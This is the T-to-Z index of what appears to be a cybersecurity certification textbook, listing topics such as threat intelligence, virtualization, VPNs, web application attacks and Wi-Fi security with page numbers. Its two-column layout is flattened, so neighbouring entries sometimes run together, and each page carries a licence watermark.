LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 I-40 | Index

hibernation file, 492‑493 theHarvester, network behavioral threat research, 26

live acquisition, 492 reconnaissance tools, 41 closed/proprietary, 26‑27
pagefile, 492‑493 The Onion Router (TOR), dark guidelines for, 33
system memory dump, 471 net, 25, 26 Information Sharing and
System Monitor, 91 thin clients, 412‑413 Analysis Centers (ISACs), 27
system on chip (SoC), 332 third-party app stores, 353 open source intelligence
third-party library, 386 (OSINT)
T third-party risks AT&T Security, 27
cloud-based versus Malware Information
tabletop exercises, 461‑462, 512
on-premises risks, 55 Sharing Project (MISP), 27
TACACS+ (terminal access
data storage, 55 Spamhaus, 28
controller access-control
management of, 322 VirusTotal, 28
system), 167
outsource code reputational threat
tactics, techniques, and
development, 55 intelligence, 26
procedures (TTP)
vendor management, 54 threat data feeds, 26
of cyber adversaries, 25, 459
vulnerability types, 53‑54 vendor websites, 27
MITRE ATT&CK, 460‑461
threat actors threat intelligence sources
threat intelligence sources, 28
attack surface of, 22‑23 artificial intelligence (AI), 31
tail commands, 278
attributes of guidelines for, 33
tailgating, 76, 543
capability and resources indicator of compromise
tangible assets, 510
of, 19 (IoC), 28‑29
TAP (test access port), 42, 269‑270
external threat, 19 providers, 26‑28
Target data breach, 23
funding, 19 research sources, 25‑26, 28
targeted threats, 19
intent/motivation, 19 tactics, techniques, and
TCP (Transport Control
internal threat, 19 procedures (TTP), 28
Protocol), 52
sophistication level, 19 threat data feeds, 29‑30
TCP ACK packet, 38
threat analytics platform, threat maps, threat data feeds, 30
TCP three-way handshake, 257
intelligence fusion, 64‑65 threat research sources
TCP/UDP ports, nslookup/dig,
threat assessments, security academic journals, 28
40‑41
assessment, 18 conferences, 28
Teamviewer, 310
threat data feeds dark net, 25‑26
technical security controls, 8
threat hunting, 64‑65 dark web, 25‑26
technology diversity, 533‑534
threat intelligence Request for Comments
temperature sensors, 550
providers, 26 (RFC), 28
Temporal Key Integrity Protocol
threat intelligence sources social media, 28
(TKIP), 237
Automated Indicator threats, identifying, 500
Tenable Nessus, 58
Service (AIS), 30 three-way handshake, 158
Tenable Network Security,
file/code repositories, 30 Ticket Granting Service, Kerberos
Nessus, 42
structured threat authentication, 155‑156
terminal access controller
information eXpression time-based login policy, 193‑194
access-control system
(STIX), 29‑30 Time-Based One-Time Password
(TACACS+), 167
threat maps, 30 Algorith (TOTP), 169
territory laws, 14
vulnerability databases time-based restrictions
terrorist group, influence
and feeds, 30 impossible travel time/risky
campaigns, 82
threat hunting login policy, 194
test access port (TAP)
advisories and bulletins, 64 time-based login policy,
passive and active, 269‑270
intelligence fusion, 64‑65 193‑194
sniffing with, 42
maneuver, 65 time of day policy, 193
test/integration, development
threat data feeds, 64‑65 timelines, 486‑487, 494
environments, 400
vulnerability scanning time of check to time of use
tethering connection methods,
techniques, 64‑65 (TOCTTOU), 368
357‑358
threat intelligence providers time of day policy, 193

Index

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Index | I-41

time offset, 486 transit gateways, 424 true random number generator
time synchronization, 289 transparent proxy, 261‑262 (TRNG), 114‑115
timing attack, 414 Transport Control Protocol (TCP), trust anchor, 318‑319
TKIP (Temporal Key Integrity weak network configurations, 52 Trusted Automated eXchange of
Protocol), 237 transport encryption (data-in- Indicator Information (TAXII), 30
TLDs (Top Level Domains), 287 transit), 112 Trusted Computing Group
TLS. see Transport Layer Security transport layer (layer 4), 425 (TCG), 321
(TLS) transport layer (OSI Layer 4), Trusted Platform Module (TPM),
TLS VPN, 303‑304 257‑258 164‑165
token-based key card lock, 542 Transport Layer Security (TLS) trusted platform module (TPM),
tokenization, database application log files, 471 180, 318‑319
deidentification methods, 452 cipher suites, 108, 293 trust model, 127
token keys and static codes, secure application protocols, TTP. see tactics, techniques, and
167‑168 292‑294 procedures (TTP)
tokens, 180 secure wireless tunnel, 301
tombstone, 450 infrastructure, 241‑242 tunnel mode, 306
Top Level Domains (TLDs), Key SSL/TLS versions, 293‑294 turnstile, 543
Signing Key, 287 Transport Layer Security (TLS) VPN two-factor authentication (2FA),
Top-Level NTP servers Open VPN, 303‑304 151, 170
(stratum 1), 289 Point-to-Point Protocol two-person integrity/cpmtrp, 546
topologies, demilitarized zone (PPP), 304 two-step verification, 170
(DMZ) Point-to-Point Tunneling typosquatting, 79
screened hosts, 223 Protocol (PPTP), 303
screened subnet, 222
triple-homed firewall, 222‑223
Secure Sockets Tunneling U
Protocol (SSTP), 304
topology discovery U2F (Universal Second
SSL VPN, 303‑304
(footprinting), 36‑37 Factor), 168
transport mode, 306
TOR (The Onion Router), 25, 26 UAC (user account control),
transposition cipher, 98
TOTP (Time-Based One-Time 201‑202
trapdoor function, 101
Password Algorithm), 169 UAV (drones/unmanned aerial
treat actors, types of
TPM (Trusted Platform Module), vehicle), 69‑70
advanced persistent threats,
164‑165 Ubuntu Linux
20‑21, 21
TPM (trusted platform RedHat Linux container,
competitors, 21
module), 180 413‑414
criminal syndicates, 21
traceroute root accounts, 185
guidelines for, 33
network reconnaissance Uder Datagram Protocol (UDP)
hackers, 20
tools, 37 transport layer (OSI Layer 4),
hacker teams, 20
packet injection and 257
hacktivists, 20
replay, 44‑45 weak network configurations,
tracert, network reconnaissance insider threats, 21‑22
52
tools, 37 nation state actors, 21
UEBA. see user and entity
traffic analysis, 43‑44 script kiddies, 20
behavior analytics (UEBA)
training/policies, onboarding state actors, 20‑21, 21
UEM. see unified endpoint
policies, 181 treat intelligence, 459‑460
management (UEM)
training technique diversity trend analysis, 468
unauthorized requests, 381
capture the flag (CTF), triple-homed firewall, 222‑223
unformatted error messages,
210‑211 TRNG. see true random number
weak network configurations, 53
computer-based training and generator (TRNG)
unified endpoint management
gamification, 211 TRNG (true random number
(UEM), 345
phishing campaigns, 210 generator), 114‑115
unified extensible firmware
Transient Electromagnetic Trojans
interface (UEFI), 319
Pulse Emanation Standard defined, 82, 83
uniform resource locator (URL)
(TEMPEST), 550 static known treats, 19

Index

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 I-42 | Index

hypertext transfer protocol vendor management, 54 public and private

secure (HTTPS), 292 vendor-specific guides, secure subnets, 423
redirection, 286 configuration guides, 12‑13 transit gateways, 424
uniform resource locator (URL) vendor websites, threat virtual private network (VPN)
analysis intelligence providers, 27 cloud networking security, 423
HTTP methods, 372‑373 version control, 401 HTML5 VPN, 310
percent encoding, 373 vertical (sector-specific) penetration testing, 70
unintentional threat, 18 legislation, 13‑14 remote access architecture,
uninterruptible power supplies vertical privilege escalation, 366 301‑302
(UPSs), 517 video interviews, 486 secure network protocols, 292
unit tests, 390 video surveillance, 336‑337 site-to-site model, 302
Universal Second Factor virtual appliance virtual viruses
(U2F), 168 firewalls, 265 boot virus, 83
unreachable code, 386 virtual desktop environment defined, 82, 83
unsecured root accounts, weak (VDE), 413 macro virus, 83
host configurations, 51‑52 virtual desktop infrastructure memory resident virus, 83
unsecure protocols (VDI), 344, 412‑413 multipartite, 83
dangers of, 284 virtual firewalls, 265 non-resident/file infector, 83
weak network configurations, virtualization technologies polymorphic, 83
52 application virtualization, script virus, 83
update (read/write access), 288 413‑414 static known treats, 19
URL (uniform resource locator), components of VirusTotal, open source
286, 292 guest operating systems, intelligence (OSINT), 28, 30
usage audits, 195‑196 411 vishing, 77‑78
USB connection methods, 360 host hardware, 411 visibility, 432
USB data blocker, 543 hypervisor/virtual visitor logs, 546
USB key, 164 machine monitor Visual Basic for Applications
USB security, 321‑322, 543 (VMM), 411 (VBA), 396‑397
user account control (UAC), Virtual Machines (VM), 411 visualization tools, netflow/
201‑202 container virtualization, IPFIX, 473
user accounts, security identifier 413‑414 VLAN (virtual LANs), 217‑218
(SID), 191 thin clients, 412‑413 VM escaping protection, 414‑415
user-agent field, 470 virtual desktop environment VM sprawl avoidance, 415‑416
user-agent string, 470 (VDE), 413 VMware
user and entity behavior virtual desktop infrastructure ESXi Server, 412
analytics (UEBA), 90, 271, (VDI), 412‑413 ThinApp, 413‑414
277‑278, 479 VM escaping protection, Workstation, 411
user and role-based training, 414‑415 VNC (Virtual Network
209‑210 VM sprawl avoidance, 415‑416 Computing), 310
user traffic, 272 virtual LANs (VLAN), 217‑218 voice and video services
user training, 533 virtual machine life cycle Real-Time Transport Protocol
UTC (Coordinated Universal management (VMLM), 416 (RTP), 298‑299
Time), 289 Virtual Machines (VM) secure transport protocol
geographical redundancy, 520 (SRTP), 299
V infrastructure of, 411‑413 Session Initiation Protocol
VM escaping protection, (SIP), 298‑299
variables, Python, 391
414‑415 Voice over IP (VoIP), 298‑299
vascular biometrics, 173
VM sprawl avoidance, 415‑416 voice over IP (VoIP)
vaults, secure areas, 549
Virtual Network Computing specialized systems, 337
vehicles and drones, 338
(VNC), 310 traffic managers, 471
vein matching scanners, 173
virtual private cloud (VPC) voice and video services,
vendor diversity, 534
endpoints, 424 298‑299

Index

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Index | I-43

voice recognition, 175, 348 W web application firewalls,

Volatility Framework, 491, 273, 425
W3C extended log file format,
492, 492 web application scanners, 59
470
volume-based trend analysis, web application security
W3 Schools, 373
468 response headers, 384‑385
walkthrough exercises, 462, 512
Volume Purchase Program, 345 secure cookies, 384
WAN, 216
Volume Shadow Copy Service web feed, 295
WAP (wireless access point)
(VSS), 525‑526 web/HTTP access logs, 470
placement, 235
VPCs and transit gateways, 424 web metadata, 471
WAP (wireless access points), 23,
VPN. see virtual private network web server applications, 13
217‑218
(VPN) web server certificate types,
war driving, 69
VPN client configuration 132‑133
warm site, 533
Always-on VPN, 308‑309 WEP (wired equivalent
waterfall model software
full tunnel, 309 privacy), 237
development life cycle (SDLC),
split tunnel, 309 whaling, 77‑78
400, 401‑403
vulnerability assessments WhatsApp, 360, 458
watering hole attack, 79
defined, 57 white box, 68
weak encryption, 52‑53
risk management, 500 white box cryptography, 113
weak host configurations, 51‑52
security assessment, 18 white hat hacker, 20
weak key, 114‑115
vulnerability databases and white team, penetration testing,
weak network configurations,
feeds, 30 68‑69
52‑53
vulnerability feed, 59 Wi-Fi authentication methods,
weaponization, 460
vulnerability scanning 238
wearables, 335
techniques Wi-Fi connection methods,
wearable technology, 359
application and web 357‑358
web, as attack vectors, 23
application scanners, 59 Wi-Fi direct, 357
web application attacks
configuration review, 63 Wi-Fi Pineapple, 69
application programming
credentialed vs. non- Wi-Fi protected access (WPA),
interfaces (APIs) attacks, 374
credentialed scanning, 61 117, 237‑238, 357
canonicalization attack, 379
false positives, false Wi-Fi protected access (WPA2),
command injection attack,
negatives, log reviews, 61‑62 237‑238
379
intrusive vs. non-intrusive, 60 Wi-Fi protected access (WPA3),
cross-site scripting (XSS)
network vulnerability 238‑239
attacks, 376‑377
scanner, 58 Wi-Fi protected setup (WPS), 239
directory traversal injection
threat hunting, 64‑65 Wi-Fi tethering, 357‑358
attack, 379
vulnerability scan outputs, 470 WikiLeaks, 20
extensible markup language
vulnerability types Windows
(XML) injection, 378
impact of, 53‑54 Active Directory Certificate
Lightweight Directory Access
kernel vulnerabilities, 50‑51 Services, 141
Protocol (LDAP) injection, 379
legacy platform administrator accounts,
replay attacks, 374‑375
vulnerabilities, 51 184‑185
server-side request forgery
patch management, 50‑51 AppLocker, 394
(SSRF), 380‑389
software vulnerabilities, authentication process
session hijacking, 375‑376
50‑51 Local Security Authority
structured query language
third-party risks, 54‑55 (LSA), 154
(SQL) injection attacks,
weak host configurations, NT LAN Manager (NTLM)
377‑378
51‑52 authentication, 154
uniform resource locator
weak network configurations, remote sign-in, 154
(URL) analysis, 372‑373
52‑53 Security Accounts
XML External Entity
zero-day vulnerability, 51 Manager (SAM), 154
attack, 378
single sign-on (SSO), 155

Index

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 I-44 | Index

Certificate Services, 139 as attack vectors, 23 X

Defender Application Control network appliances, 217‑218
XCCDF (Extensible Configuration
(WDAC), 394 placement, 235
Checklist Description Format), 63
file integrity monitoring wireless controllers, 236‑237
XML External Entity attack, 378
(FIM), 272 wireless network installation
XML injection attacks, 295, 378
File Sharing/Server Message considerations
X-Ways, 491
Block (SMB), 369 site survey and heat
FireEye, 21, 27, 41, 492 maps, 236
F-Response TACTICAL, 492 wireless access point (WAP) Z
ipconfig, 36 placement, 235 Zed Attack Proxy (ZAP)
Memoryze, 492 Wireshark, 43‑44, 294 exploitation frameworks, 46
Netcat, 46‑47 witness interviews, 486 web server applications, 13
nslookup, 41 work recovery time (WRT), 509 Zeek Network Monitor (Bro),
pathping, 37 worms 60, 268
PowerShell script Code Red worm, 84 zero-day exploits, 369
environment, 392‑393 Conflicker worm, 84 zero-day vulnerability, 51
Python, 392 defined, 82, 84‑85 zero filling, 554
Software Restriction Policies WPA (Wi-Fi protected access), zero trust, 224‑225
(SRP), 394 117, 237‑238 Zigbee, 333‑334, 335
tracert, 37 WPA2 (Wi-Fi protected access), zone networks, 220, 422‑423
WinHex, 491, 492 237‑238 zone-redundant storage, 422
WinRM, 311 WPA3 (Wi-Fi protected access), Z-Wave, 333‑334, 335
WinRS, 311 238‑239
wired equivalent privacy WPS (Wi-Fi protected setup), 239
(WEP), 237 wrappers, 339
wireless access points (WAP)

Index

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022